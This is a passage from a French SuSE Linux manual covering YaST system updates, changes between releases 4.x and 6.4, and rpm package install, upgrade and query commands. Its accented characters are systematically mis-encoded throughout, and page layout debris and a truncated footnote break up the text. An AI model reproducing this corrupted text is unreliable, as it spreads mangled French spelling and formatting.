YaST soit tout de suite relancΘ automatiquement afin de terminer les opΘra-
tions dΘjα prΘparΘes par la mise α jour, vous devrez entrer, α l'invite d'amor-
τage :
NO_AUTO_SETUP=true
Il est judicieux de faire l'entrΘe NO`AUTO`SETUP=yes, pour le cas o∙,
contre toute attente, des difficultΘs se prΘsenteraient lors de ce (nouveau) dΘ-
marrage du systΦme. De tels problΦmes peuvent survenir si vous intΘgrez des
ΘlΘments essentiels du systΦme Linux par le biais d'une carte SCSI PCMCIA.
Pour exΘcuter malgrΘ tout les travaux de configuration prΘvus, vous pouvez
parcourir les Θtapes suivantes :
1. SpΘcifiez comme option lors de l'amorτage le paramΦtre suivant :
NO_AUTO_SETUP=true
2. Connectez-vous sous le compte `root' et lancez yast ~nomenu afin de
faire effectuer les Θventuelles configurations.
3. Lancez /lib/YaST/bootsetup.conf sous le compte `root' et laissez
la commande s'ΘxΘcuter.
AprΦs cela, les choses seront comme elles l'auraient ΘtΘ si tout s'Θtait dΘroulΘ
normalement.
Dans un tel cas, l'utilisateur Linux expΘrimentΘ jugera peut-Ωtre prΘfΘrable de
ne pas revenir au niveau d'exΘcution (angl. runlevel) standard mais cherchera,
en entrant single α l'invite d'amorτage, de passer directement en mode
mono-utilisateur (runlevel 1).
15.1.4 Actualisation des paquetages
IndΘpendamment d'une actualisation globale, vous pouvez bien s√r actualiser
α tout moment des paquetages dΘterminΘs.
Dans la sΘlection des paquetages de YaST (voir paragraphe 3.4.3 page 95),
vous pouvez vous en donner α coeur joie. Si vous sΘlectionnez pour la mise α
406
_______________________________________________________________________________________15.2.__D'une_version_α_l'autre_______*
*______________________
jour un paquetage qui joue un r⌠le primordial dans le fonctionnement du sys-
tΦme, YaST vous avertira. De tels paquetages devraient Ωtre actualisΘs dans
un mode de mise α jour spΘcial. Par exemple, un grand nombre de paquetages
contiennent des ``bibliothΦques partagΘes'' et il est possible qu'elles soient uti-
lisΘes au moment de la mise α jour par des processus en cours. Une mise α
jour dans le systΦme en marche aurait alors pour consΘquence que ces pro-
grammes ne pourraient plus tourner correctement.
15.2 D'une version α l'autre
Dans les paragraphes suivants, nous tentons de faire la liste des dΘtails qui ont
ΘtΘ modifiΘs d'une version α l'autre. Cet aperτu vous montre par exemple si
des configurations essentielles ont ΘtΘ refaites, si des fichiers de configuration
ont ΘtΘ dΘplacΘs ou si des programmes connus de longue date se comportent
maintenant de faτon diffΘrente. Cette liste n'est pas exhaustive car elle ne
contient que ce qui concerne directement l'utilisateur ou l'administrateur dans
son travail quotidien. Nous attirerons ensuite votre attention sur la SDB (base
de donnΘes support de SuSE) contenue aussi dans le paquetage sdb_en, sΘrie
doc (voir paragraphe 1.4.1 page 7).
Les particularitΘs des diffΘrentes versions ainsi que les difficultΘs qu'elles
peuvent engendrer sont prΘsentΘes sur le serveur WWW dΦs que ces in-
formations nous sont connues. Voir les liens mentionnΘs ci-dessous. Des
mises α jour importantes de diffΘrents paquetages sont accessibles sous http:
//www.suse.de/en/support/download/updates/.
15.2.1 De 4.x α 5.0
ProblΦmes et particularitΘs :
http://sdb.suse.de/sdb/en/html/maddin_bugs5.html.
~ La gestion des paquetages est passΘe de TGZ α RPM (voir paragraphe 15.3
page 415).
~ Nouveau Bash (voir dans la SDB les articles http://sdb.suse.de/
sdb/en/html/maddin_bash2.html et http://sdb.suse.de/sdb/
en/html/maddin_inputrc.html).
15.2.2 De 5.0 α 5.1
ProblΦmes et particularitΘs :
http://sdb.suse.de/sdb/en/html/maddin_bugs51.html.
~ LILO 1er cas : Les chargeurs any_b.b et any_d.b sont obsolΦtes (voir
page 126).
~ LILO 2Φme cas : Si des difficultΘs d'amorτage surviennent en relation
avec l'adaptateur h⌠te SCSI Adaptec 2940 (diffΘrents modΦles), l'option
linear ne devrait plus maintenant Ωtre placΘe dans /etc/lilo.conf
(voir page 127).
~ Les logiciels ``optionnels'' (par exemple KDE ou Applixware ) sont ins-
tallΘs sous /opt (voir paragraphe 2.8 page 68).
*
* 407
15. Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
*_______________________________________@
~ Les descriptions des paquetages ne sont plus imprimΘes dans le manuel
pour des raisons de place ; elles se trouvent sur le premier CD : en alle-
mand sous le nom de pkg_German.dvi et pkg_German.ps et en anglais
sous le nom de pkg_English.dvi et pkg_English.ps.
~ L'annexe ``conditions matΘrielles'' n'est plus incluse dans le manuel.
Comme alternative, vous trouverez sur le CD ``la base de donnΘes des
composants CDB'' (angl. Components Database). Elle est disponible en
ligne sous http://cdb.suse.de/.
~ Les fichiers m4 de Sendmail se trouvent sous /usr/share/sendmail.
~ Les sources sont compressΘs en tant que ``Sources RPM'' (voir dans la
SDB http://sdb.suse.de/sdb/en/html/ke_source-rpm.html).
15.2.3 De 5.1 α 5.2
ProblΦmes et particularitΘs :
http://sdb.suse.de/sdb/en/html/maddin_bugs52.html.
~ YaST : On peut_parvenir_α la sΘrie ALL α partir de la `SΘlection des
sΘries' avec |___F|4(= `Reclassement') (voir paragraphe 3.4.3 page 95).
~ Les serveurs XSuSE sont inclus dans les sources officiels de XFree86.
Vous utilisez donc maintenant de nouveau le serveur standard de la sΘ-
rie x. Exception : XSuSE_Elsa_GLoria (paquetage xglint) pour cartes
graphiques basΘes sur Glint ou Permedia.
~ Les serveurs X ne sont plus, pour des raisons de sΘcuritΘ, installΘs suid
root (sans bit s). Le systΦme X Window doit Ωtre dΘmarrΘ soit par le
Xwrapper via startx , soit par un gestionnaire d'affichage (xdm ou
kdm ).
~ Le wuftpd est maintenant placΘ, en tant que serveur FTP par dΘfaut, dans
/etc/inetd.conf (voir dans la base de donnΘes http://sdb.suse.
de/sdb/en/html/grimmer_ftpd.html).
~ Les options de ps ne sont plus prΘfixΘes par `-' ; modifiez en consΘ-
quence vos scripts de shell (voir dans la base de donnΘes http://sdb.
suse.de/sdb/en/html/maddin_ps52.html).
~ SuSEconfig (voir paragraphe 17.5 page 450) comprend quelques options
qui aident α accΘlΘrer le travail.
15.2.4 De 5.2 α 5.3
ProblΦmes et particularitΘs :
http://sdb.suse.de/sdb/en/html/bugs53.html.
~ Une premiΦre installation ou une mise α jour de SuSE Linux se dΘroule
de faτon ``linΘaire''. Si vous voulez avoir recours α la ``vieille'' mΘthode
d'installation qui vous laisse de nombreuses possibilitΘs d'intervention,
vous devrez choisir, dans l'Θcran d'accueil de YaST , le mode expert (voir
figure 2.6 page 33).
~ En plus de la disquette d'amorτage, il vous est proposΘ une image de dis-
quette modules avec des modules supplΘmentaires. Vous pouvez y avoir
recours si vous possΘdez un matΘriel ``exotique''. Voir paragraphe 16.3
page 429.
408
_______________________________________________________________________________________15.2.__D'une_version_α_l'autre_______*
*______________________
~ Tous les serveurs X, classΘs dans un ordre facile α superviser, se trouvent
dans la sΘrie xsrv (X-Server) et non plus comme auparavant dans la
sΘrie x.
~ Pour les cartes et puces graphiques, vous avez α votre disposition les ser-
veurs X dΘveloppΘs par SuSE : XFCom_3DLabs (paquetage x3dlabs ; au-
trefois XSuSE_Elsa_GLoria, paquetage xglint), XFCom_SiS (paque-
tage xsis ; autrefois XSuSE_SiS) et XFCom_Cyrix (paquetage xcyrix).
~ Les personnes souhaitant utiliser les programmes terminaux tels que mi-
nicom , seyon , et autres, doivent Ωtre inscrites dans le groupe `uucp'. Voir
http://sdb.suse.de/sdb/en/html/ke_terminal-prog.html.
~ Emacs est disponible en version 20.x. Il convient d'utiliser les fichiers
de dΘmarrage Θgalement contenus dans /etc/skel. Voir http://sdb.
suse.de/sdb/en/html/ke_emacs-update.html.
~ On a supprimΘ du paquetage jade_dsl les analyseurs syntaxiques et
les utilitaires SGML qui ont ΘtΘ regroupΘs dans un sous-paquetage sp
autonome.
~ PostgreSQL (paquetage postgres) est composΘ de plusieurs sous-pa-
quetages (angl. subpackages) : Serveur (engine) de la base de donnΘes,
initialisation de la base de donnΘes et interfaces.
15.2.5 De 5.3 α 6.0
ProblΦmes et particularitΘs :
http://sdb.suse.de/sdb/en/html/bugs60.html.
~ Ainsi qu'il est prΘvu dans les sources, le noyau d'amorτage est installΘ
dans /boot. Lors de la mise α jour, vous devez veiller α ce que les chemins
d'accΦs soient inscrits de faτon correcte dans le fichier /etc/lilo.conf.
YaST vous fait une proposition ~ si vous souhaitez continuer α amorcer
le vieux noyau, vous devez intervenir dans la procΘdure de mise α jour et
configurer LILO dans ce sens.
~ La bibliothΦque de votre systΦme est maintenant la glibc (connue aussi
sous le nom de libc6). Lors d'une mise α jour des programmes fournis
avec SuSE Linux, vous ne devriez pas en principe rencontrer de difficul-
tΘs. Vous devriez recompiler vos propres programmes aprΦs la mise α jour
et les lier avec la glibc . Si ce n'est pas possible ~ parce que vous ne dispo-
sez pas, par exemple, du code source du programme en question ~ vous
pouvez rΘgler ce problΦme en installant le paquetage shlibs5 (libc5),
ce qui permettra aux ``vieux'' programmes de continuer α assumer leur
fonction.
~ Pour les paquetages qui offrent des possibilitΘs Θtendues de configuration,
certaines parties de /etc/rc.config ont ΘtΘ transfΘrΘes dans des fichiers
du rΘpertoire /etc/rc.config.d
~ cron est capable d'exΘcuter des scripts dans les rΘpertoires /etc/cron.
hourly, /etc/cron.daily, /etc/cron.weekly et /etc/cron.
monthly. La crontab du systΦme dont le nom Θtait /root/bin/cron.
daily a ΘtΘ renommΘe pour devenir /etc/cron.daily/aaa_base (voir
page 413).
*
* 409
15. Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
*_______________________________________@
~ La version courante de teTeX est disponible avec SuSE Linux. Comme
le systΦme TEX est conforme au standard de la hiΘrarchie des systΦmes de
fichiers, il est nΘcessaire de pouvoir disposer sous /var d'environ 15 Mo
d'espace disque en supplΘment.
teTeX a ΘtΘ rΘparti dans plusieurs sous-paquetages . Si quelque chose
``manque'' aprΦs une mise α jour, il est recommandable de vΘrifier, dans la
sΘrie tex, si tous les paquetages indispensables sont vraiment installΘs.
~ Les extensionsALTEX, paquetage colortbl et paquetage hyperref, sont
dΘsormais incluses dans teTeX et ne sont plus proposΘes sΘparΘment.
~ C News est ΘliminΘ de la distribution. Pendant la pΘriode de transi-
tion, vous pourrez encore trouver le paquetage cnews sur le CD 1 sous
unsorted/. └ long terme, il serait opportun d'envisager un passage au
paquetage inn ou au paquetage leafnode.
~ Les fichiers de configuration de UUCP sont situΘs dans le rΘpertoire
/etc/uucp.
~ Les feuilles de style DocBook peuvent maintenant Ωtre trouvΘes sΘparΘ-
ment dans le paquetage docbkdsl de la sΘrie sgm.
15.2.6 De 6.0 α 6.1
ProblΦmes et particularitΘs :
http://sdb.suse.de/sdb/en/html/bugs61.html.
~ Le CD-ROM contenant le ``systΦme de fichiers live'' ne fait plus partie de
la distribution. Vous pouvez l'obtenir sΘparΘment contre versement d'une
redevance. Vous trouverez des dΘtails techniques concernant ce CD au
paragraphe 3.6.4 page 108.
~ Vous trouverez d'autres pilotes, Θventuellement nΘcessaires lors d'une
premiΦre installation ou d'une mise α jour (lecteurs de CD-ROM pro-
priΘtaires, lecteurs sur port parallΦle, PCMCIA) sur la disquette modules
fournie en supplΘment. linuxrc vous demandera en temps voulu d'insΘrer
cette disquette (paragraphe 2.2.3 page 29).
~ L'``interface standard'' pour l'impression par port parallΦle est, pour le
noyau 2.2.x, /dev/lp0 (voir paragraphe 12.1 page 333).
15.2.7 De 6.1 α 6.2
ProblΦmes et particularitΘs :
http://sdb.suse.de/sdb/en/html/bugs62.html.
~ rpm (voir aussi paragraphe 15.3 page 415) est fourni en version 3.0 et
le format de la base de donnΘes RPM demeure inchangΘ. La base de
donnΘe doit Ωtre convertie immΘdiatement aprΦs installation de rpm . Si
vous effectuez avec YaST une mise α jour rΘguliΦre du systΦme (de base),
la conversion se fera en arriΦre-plan au moment opportun.
~ La bibliothΦque systΦme glibc est maintenant disponible en version 2.1.
Dans la mesure du possible, nous fournissons aussi des composants qui
permettent de continuer α exΘcuter des programmes compilΘs pour la
glibc -2.0. Il existe cependant des limites qui se font ressentir lorsque l'on
410
_______________________________________________________________________________________15.2.__D'une_version_α_l'autre_______*
*______________________
tente d'accΘder α certains symboles internes. En consΘquence, vous de-
vriez toujours recompiler vos propres programmes.
~ nscd (angl. Name Service Cache Daemon), configurΘ au moyen du fichier
/etc/nscd.conf, dΘpend aussi de la glibc . Voir la page de man de nscd
(man 8 nscd ).
~ Avec la glibc -2.1, le passage aux fichiers de pΘriphΘriques ``Unix98 PTY''
est maintenant complet ce qui implique que le systΦme de fichiers devpts
doit aussi Ωtre montΘ. Ceci est assurΘ par exemple par l'entrΘe suivante
dans le fichier /etc/fstab : none /dev/pts devpts gid=5,mode=620 0 0
Voir aussi la documentation dans /usr/src/linux/Documentation/
Changes dans les sources du noyau.
~ PAM (angl. Pluggable Authentication Modules) : En plus de /etc/
login.defs, il existe maintenant /etc/securetty, /etc/security/
limits.conf et /etc/security/pam_env.conf (voir page 112).
~ Les configurations concernant la langue peuvent Ωtre faites au moyen
de variables dans le fichier /etc/rc.config (voir paragraphe 78
page 452 ainsi que http://sdb.suse.de/sdb/en/html/ml_locale_
implementation.html. Si vous ne souhaitez pas recevoir les messages
en franτais, vous pouvez entrer directement, par exemple dans .bashrc :
export LANG=C
~ Pour un bon nombre de logiciels, les composants nΘcessaires au dΘvelop-
pement (bibliothΦques, fichiers d'en-tΩtes et include, etc.) ont ΘtΘ transfΘ-
rΘs dans des paquetages sΘparΘs. Ceci s'Θtait dΘjα produit dans des ver-
sions antΘrieures. Ces paquetages de dΘveloppement ne vous sont nΘ-
cessaires que si vous souhaitez compiler vous-mΩme des logiciels ~ par
exemple des paquetages GNOME rΘcents. Il est normalement possible de
reconnaεtre de tels paquetages de dΘveloppement α l'extension dev ou d
qui suit leur nom : paquetage xformsd, paquetage glibndev, paquetage
gtkndev, paquetage imlibdev, paquetage gnlibsd, etc.
15.2.8 De 6.2 α 6.3
ProblΦmes et particularitΘs :
http://sdb.suse.de/sdb/en/html/bugs63.html.
~ Il est proposΘ des noyaux optimisΘs de maniΦre diffΘrente que vous pou-
vez installer. Ces noyaux utilisent ``initrd'' (angl. Initial Ramdisk). Lors
de la crΘation de votre propre noyau, vous devez tenir compte de cette
condition accessoire. Voir paragraphe 16.2.5 page 427 et http://sdb.
suse.de/sdb/en/html/adrian_6.3_boot.html
~ Le nom du fichier de configuration pour les modules du noyau est /etc/
modules.conf (autrefois : /etc/conf.modules).
~ Outre le dΘmon NFS ``Userspace'' (paquetage nfsserv), il existe aussi
un dΘmon NFS du noyau (paquetage knfsd). Les fonctions de knfsd
semblent assez limitΘes mais il maεtrise le verrouillage des fichiers qui est
indispensable, par exemple, α StarOffice . Positionnez USE_KERNEL_NFSD
ou NFS_SERVER dans /etc/rc.config et installez le paquetage qui rΘ-
pond α vos besoins.
*
* 411
15. Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
*_______________________________________@
~ Les + pages de man se trouvent sous /usr/share/man ainsi que
le requiert le FHS (angl. Filesystem Hierarchy Standard) (voir para-
graphe 16.1 page 423).
~ Certains paquetages ont ΘtΘ retirΘs de la distribution :
~ paquetage gnuhtml : obsolΦte ; on peut obtenir les documents Info
actuels au format HTML α travers le systΦme d'aide SuSE (voir para-
graphe 16.4 page 435).
~ paquetage glimpse : une ancienne version se trouve dans le rΘpertoire
/unsorted du CD 1. Pour des raisons de copyright, nous ne pouvons
pas fournir la plus rΘcente version avec SuSE Linux.
~ paquetage lxpoint :
~ Tcl/Tk est proposΘ dans des versions rΘcentes avec de nouvelles descrip-
tions de paquetages. Tcl/Tk 8.0 est la version standard.
~ OSS (angl. Open Sound System) est disponible pour machines multipro-
cesseurs. Il s'agit, pour Ωtre plus prΘcis, du paquetage opso et du paque-
tage opsod_up ainsi que du paquetage opso_smp et du paquetage op-
sodsmp. Voir http://sdb.suse.de/sdb/en/html/oss-smp.html.
~ La configuration de sendmail a ΘtΘ dΘplacΘe du fichier /etc/rc.config
vers le fichier. Voir http://sdb.suse.de/sdb/en/html/mneden_6.
3_sendmail.html. /etc/rc.config.d/sendmail.rc.config
~ Pour des raisons de sΘcuritΘ, WU-FTPD (paquetage wuftpd, sΘrie n)
n'est plus installΘ lors de la sΘlection standard.
~ └ partir de la version 1.9.2 de leafnode , le rΘpertoire des fichiers de confi-
guration a ΘtΘ changΘ. Ces fichiers se trouvent maintenant sous /etc/
leafnode et non plus sous /usr/lib/leafnode.
Si vous avez modifiΘ votre fichier de configuration, la copie de sauve-
garde se trouve sous /usr/lib/leafnode/config.rpmsave. Reprenez
manuellement vos modifications dans le nouveau fichier de configuration.
Attention : Si vous effectuez une mise α jour α partir d'une ancienne
version (antΘrieure α 1.9.3), exΘcutez tout d'abord le script shell /usr/
doc/packages/leafnode/update.sh :
terre: # cd /usr/doc/packages/leafnode
terre:/usr/doc/packages/leafnode # ./update.sh \
/var/spool/news/ /etc/leafnode /var/lock/news/fetchnews.lck
L'organisation du fichier groupinfo et de quelques autres fichiers se
trouve ainsi modifiΘe (groupinfo n'est plus classΘ en tenant compte de
la casse des lettres. Si quelque chose ne fonctionne pas, vous trouverez
le vieux fichier sous /var/spool/news/leaf.node/groupinfo.old.
Lorsque le script aura ΘtΘ exΘcutΘ avec succΦs, vous pourrez effacer ce
fichier (.old).
Remarque : Depuis la version 1.9.3, le programme /usr/sbin/fetch a
pour nom /usr/sbin/fetchnews . Vous devez donc modifier dans ce
sens les ``cronjobs'' et divers scripts tels que par exemple /etc/ppp/
ip-up.
Pour l'installation de leafnode voir paragraphe 6.9 page 208.
412
_______________________________________________________________________________________15.2.__D'une_version_α_l'autre_______*
*______________________
~ MySQL tourne sous l'UID `mysql' et le GID `daemon' afin de garantir
une plus grande sΘcuritΘ.
~ Fortify se trouve sous /opt/fortify et peut Ωtre dΘsinstallΘ aprΦs utili-
sation.
15.2.9 De 6.3 α 6.4
ProblΦmes et particularitΘs :
http://sdb.suse.de/sdb/en/html/bugs63.html.
~ Noyau : Le paquetage kernmod et le paquetage kernmods ne sont plus in-
dispensables. Les modules du noyau optimisΘs sont installΘs, ``du mΩme
coup'', avec le noyau sΘlectionnΘ (voir 3.6.2 page 104). Les fichiers de
configuration du noyau installΘ sont situΘs dans /boot sous les noms
de vmlinuz.config-pentium (exemple !), vmlinuz.autoconf.h et
vmlinuz.version.h. Si vous le dΘsirez, YaST copiera ces fichiers dans
l'arborescence des sources du noyau.
~ Inscrivez des shells de login valides dans le fichier /etc/shells. Voir la
refman[5]shells. S'il est assignΘ /bin/true α un utilisateur, celui-ci ne
pourra se connecter que par le biais du systΦme X Window. Il n'aura pas
de shell. /bin/false comme ``shell de login'' empΩche toute connexion.
~ paquetage aaa_base : Les tΓches quotidiennes de maintenance du sys-
tΦme ont ΘtΘ rΘparties entre plusieurs scripts pour rendre les choses plus
claires. Dans /etc/cron.daily, il existe maintenant, en plus de aaa_
base, les composants backup_rpmdb, clean_catman, clean_core,
clean_instlog, clean_tmp, do_mandb, rotate_logs et updatedb
~ reconnaissables α leur prΘfixe aaa_base_. Outre cela, aaa_base lit
cron.daily.local dans lequel vous pouvez ajouter vos propres ex-
tensions. Au sujet du systΦme cron , reportez-vous au paragraphe 16.6.1
page 442.
~ Une version plus rΘcente de tar (tar ) est fournie. Le programme se com-
porte diffΘremment lors du remplacement des donnΘes lorsque les fichiers
sont extraits. Si l'ancien mode vous est indispensable, utilisez l'option
--overwrite .
~ Presque tous les programmes contenus dans le paquetage nkita et le pa-
quetage nkitb se prΘsentent dans une nouvelle version. traceroute a ΘtΘ
transfΘrΘ dans le paquetage nkitb. Certains programmes sont dΘjα ``prΩts
α affronter IPv6''. Vous devez donc veiller α ce que le DNS soit correc-
tement configurΘ ~ sinon il peut arriver qu'il soit nΘcessaire d'attendre le
timeout du DNS pour les requΩtes IPv6.
~ paquetage samba : Avec la mise α jour vers la version 2.0.6, la syntaxe de
la commande smbmount a ΘtΘ modifiΘe ! smbmount doit Ωtre invoquΘ par
le script shell /sbin/mount.smbfs qui doit lui-mΩme Ωtre invoquΘ par
mount . Exemple de commande :
terre: # mount -t smbfs -o username=uname,password=passwd \
//smbserv/share /destination
~ paquetage postfix : De nouvelles possibilitΘs de configuration sont ve-
nues s'ajouter. Les variables de dΘmarrage ont ΘtΘ transfΘrΘes dans /etc/
*
* 413
15. Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
*_______________________________________@
rc.config.d/postfix.rc.config. Voir aussi le paragraphe 17.5
page 450.
~ Le paquetage squid, c'est-α-dire la version 1 du serveur proxy WWW,
n'est plus inclus. Comme on peut considΘrer comme stable la version 2.x
qui s'est maintenant Θtablie, il est conseillΘ de l'adopter. Pendant la mise
α jour, le paquetage squid n'est pas remplacΘ automatiquement par le
paquetage squid2. Sauvegardez l'ancien fichier de configuration, dΘs-
installez ensuite le paquetage squid et installez le paquetage squid2.
Vous pouvez maintenant dΘmarrer avec les nouveaux fichiers et refaire
vos propres modifications ~ vous trouverez un complΘment d'information
sous http://squid.nlanr.net.
~ Le client DHCP recommandΘ est contenu dans le paquetage dhcpcd. Le
paquetage dhclient continue α Ωtre fourni pour certains cas particuliers.
~ Pour des raisons de sΘcuritΘ, l'accΦs FTP anonyme n'est plus autorisΘ
automatiquement. Pour qu'avec le dΘmon FTP in.ftpd l'accΦs ano-
nyme FTP soit autorisΘ, le caractΦre de commentaire `#' doit Ωtre sup-
primΘ devant la ligne :
auth sufficient /lib/security/pam_ftp.so
~ Modification du mot de passe avec PAM (angl. Pluggable Authentication
Modules) : pam_unix peut aussi modifier des mots de passe NIS et inter-
prΦte les ``hashes'' md5 comme Θtant un mot de passe. Attention ~ voir le
paragraphe 3.6.7 page 112.
Il existe maintenant aussi un nouveau module pam_pwcheck qui se charge
de la vΘrification des nouveaux mots de passe. L'ancienne entrΘe
password required /lib/security/pam_unix.so #strict=false
doit Ωtre modifiΘe ~ en une seule ligne, ou avec une barre oblique inversΘe
(\) en fin de ligne :
password required /lib/security/pam_pwcheck.so \
nullok #use_cracklib
password required /lib/security/pam_unix.so \
nullok use_first_pass use_authtok
Cette intervention manuelle n'est indispensable que dans le cas o∙ rpm
ne peut pas modifier lui-mΩme les fichiers de configuration pendant la
mise α jour du fait que l'administrateur systΦme y a apportΘ ses propres
modifications. Ceci s'applique aussi α tous les fichiers de configuration de
PAM sous /etc/pam.d.
~ En plus des + pages de man (voir paragraphe 15.2.8 page 412), il existe
aussi des pages d'info sous /usr/share.
~ makewhatis (paquetage makewhat) utilise maintenant le programme
manpath pour trouver les pages de manuel. La variable d'environnement
MANPATH ne doit plus Ωtre positionnΘe dans les fichiers rc.
~ ldconfig n'est invoquΘ que lorsqu'un rΘpertoire /lib est plus rΘcent
que /etc/ld.so.cache. Il est lancΘ le cas ΘchΘant en arriΦre-plan. Le
lancement de ldconfig peut Ωtre forcΘ si la variable d'environnement
414
____________________________________15.3.__RPM_~_Le_gestionnaire_de_paquetages_de_la_distribution___________________________*
*______________________
run_ldconfig est positionnΘe α true . Il est dΘjα possible, α l'invite
d'amorτage, de positionner "run_ldconfig=true" .
~ Le paquetage ncurses est prΘsent dans sa version 5.0. Comme aupara-
vant, la version 4.2 de la ``bibliothΦque partagΘe'' est incluse et il est ainsi
possible, en gΘnΘral, de continuer α utiliser des programmes prΘcompilΘs.
~ Le paquetage apache a ΘtΘ subdivisΘ. Installez aussi les sous-paquetages
mod_* si vous avez besoin d'extensions spΘciales. Vous trouverez la do-
cumentation se rapportant α PHP dans le paquetage phpdoc. Pour plus de
clartΘ, les fichiers de trace sont situΘs dans /var/log/httpd.
~ Roxen est divisΘ de cette maniΦre : Le paquetage roxen sans crypto-
graphie et le paquetage roxenssl avec support pour la cryptographie.
Ceci prΘsente l'avantage qu'il n'est plus nΘcessaire de gΘrer un paquetage
roxenint sΘparΘ.
~ Le paquetage changes n'est plus inclus. Les informations souhaitΘes
peuvent Ωtre affichΘes par rpm :
tux@terre: > rpm -q --changelog <paquetage>
15.3 RPM ~ Le gestionnaire de paquetages de la distribu-
tion
Avec la version 5.0 de SuSE Linux, RPM (rpm ) (angl. RPM Package Ma-
nager) a fait son entrΘe dans la distribution. La gestion des paquetages est
ainsi facilitΘe pour tous ceux qui se trouvent concernΘs, l'utilisateur, l'admi-
nistrateur systΦme et ~ non dans une moindre mesure ~ le constructeur de
paquetages. GrΓce α la puissante base de donnΘes RPM, on dispose α tout
moment d'informations dΘtaillΘes sur les logiciels installΘs.
En substance, rpm peut agir en trois modes : crΘer des paquetages α partir des
sources inaltΘrΘs (angl. pristine sources), les installer ou aussi les dΘsinstaller
ou les mettre α jour et il peut Θgalement consulter la base de donnΘes RPM ou
une archive RPM particuliΦre.
Les archives RPM installables sont compressΘes dans un format binaire spΘ-
cial. Les archives sont constituΘes des fichiers (de programmes) α installer et
de diverses mΘta-informations qui, pendant l'installation, sont soit utilisΘes
par rpm pour configurer chaque paquetage logiciel, soit inscrites α fin de do-
cumentation dans la base de donnΘes RPM. Les archives RPM ont des noms
de fichiers avec l'extension .rpm.
15.3.1 GΘrer les paquetages : Installer, mettre α jour et dΘsinstaller
Normalement, l'installation d'une archive RPM est extrΩmement simple :
terre: # rpm -i <paquetage>.rpm
Avec cette commande standard, un paquetage sera installΘ uniquement si les
``dΘpendances'' sont rΘsolues et si tout ``conflit'' est exclus. Par la voie d'un
message d'erreur, rpm demande les paquetages nΘcessitΘs pour rΘsoudre les
dΘpendances. La base de donnΘes veille, dans les coulisses, α ce qu'aucun
conflit ne puisse se produire : en rΦgle gΘnΘrale, un fichier ne doit faire partie
*
* 415
15. Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
*_______________________________________@
que d'un seul paquetage. Avec diffΘrentes options on peut toutefois contour-
ner cette rΦgle, mais qui la contourne devrait savoir exactement ce qu'il fait
car il met Θventuellement en jeu la fonction de mise α jour du systΦme.
L'option -U ou --upgrade prΘsente Θgalement un certain intΘrΩt pour l'ac-
tualisation d'un paquetage. Une version plus ancienne du mΩme paquetage
sera effacΘe et la nouvelle version sera installΘe. ParallΦlement, rpm essaiera
de manipuler soigneusement les fichiers de configuration en adoptant ~ de
maniΦre un peu simplifiΘe ~ la stratΘgie suivante :
~ Dans le cas o∙ un fichier de configuration n'aurait pas ΘtΘ modifiΘ par
l'administrateur systΦme, rpm installera la nouvelle version de ce fichier.
L'administrateur n'aura pas besoin d'intervenir.
~ Si un fichier de configuration a ΘtΘ modifiΘ par l'administrateur avant
la mise α jour, rpm ne sauvegardera le fichier modifiΘ avec l'extension
.rpmorig ou .rpmsave et n'installera la nouvelle version du paque-
tage RPM que dans le seul cas o∙ il existerait quelque diffΘrence entre
le fichier d'origine et le fichier du paquetage de mise α jour. Vous serez
trΦs probablement obligΘ alors de faire concorder, au moyen d'une co-
pie (.rpmorig ou .rpmsave), le fichier de configuration nouvellement
installΘ avec les conditions de votre systΦme. Ensuite tous les fichiers
.rpmorig ou .rpmsave devront absolument Ωtre supprimΘs afin qu'ils
ne puissent pas constituer un obstacle α des mises α jour ultΘrieures1
L'option -U n'est en aucune maniΦre un simple Θquivalent de rpm -e : : :
(dΘsinstaller/effacer) suivi de rpm -i : : : (installer). Il convient, α chaque
fois que c'est possible, de donner la prΘfΘrence α l'option -U .
________________________________________________________________________________________________________*
*________||
| AprΦs chaque mise α jour, vous devrez vΘrifier toutes les copies de sau- *
* ||||
| *
* |||
| vegarde crΘΘes par rpm avec l'extension .rpmorig ou .rpmsave ; elles *
* |||
| constituent vos anciens fichiers de configuration. Si c'est nΘcessaire, repre- *
* |||
| *
* |||
| nez toutes les modifications des copies de sauvegarde dans les nouveaux *
* |||
| fichiers de configuration et effacez ensuite tous les vieux fichiers ayant *
* |||
| *
* |||
| l'extension .rpmorig ou .rpmsave. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Pour supprimer un paquetage, on procΦde d'une maniΦre tout aussi simple :
terre: # rpm -e <paquetage>
rpm ne supprimera un paquetage que s'il n'existe plus aucune dΘpendance.
Il n'est donc pas possible thΘoriquement d'effacer par exemple Tcl/Tk aussi
longtemps qu'un programme, quel qu'il soit, en a besoin pour tourner. RPM
veille aussi α cela avec le soutien de la base de donnΘes.
Si, dans un cas particulier, une telle opΘration d'effacement ne devait pas Ωtre
possible ~ bien qu'il n'existe plus aucune dΘpendance ~ il peut s'avΘrer utile
de reconstruire la base de donnΘes RPM avec l'option ~rebuilddb ; voir plus
loin les remarques concernant la base de donnΘes RPM (paragraphe 15.3.2
page 419).
_____________________________________________1
L'extension .rpmorig est choisie lorsque le fichier n'est pas encore connu de la base de
donnΘes RPM. Sinon c'est .rpmsave qui est utilisΘ ; en d'autres termes : des .rpmorig sont
crΘΘs
416
____________________________________15.3.__RPM_~_Le_gestionnaire_de_paquetages_de_la_distribution___________________________*
*______________________
15.3.2 Faire des requΩtes
Avec l'option -q (angl. query), on peut faire des requΩtes. Il est ainsi
possible, aussi bien d'examiner soi-mΩme les archives RPM (option
-p <fichier`paquetage>) que d'adresser des requΩtes α la base de don-
nΘes RPM. Vous pouvez choisir le mode d'information avec les sous-options
supplΘmentaires du tableau 15.1.
______________________________________________________________________________________________________________________
-i Affichage des informations sur les paquetages
-l Affichage de la liste des fichiers du paquetage
-f <FICHIER> + Requiert le paquetage qui contient le fichier
<FICHIER> ; <FICHIER> doit Ωtre spΘcifiΘ avec
le nom de chemin complet !
-s Affichage du statut des fichiers (implicite -l )
-d Lister seulement les fichiers de documentation (im-
plicite -l )
-c Lister seulement les fichiers de configuration (impli-
cite -l )
--dump Affichage de toutes les informations contr⌠lables
concernant chaque fichier (utiliser avec -l , -c ou
-d !)
--provides Lister les caractΘristiques du paquetage pouvant Ωtre
requises par un autre paquetage avec --requires
--requires , -R Afficher les dΘpendances des paquetages
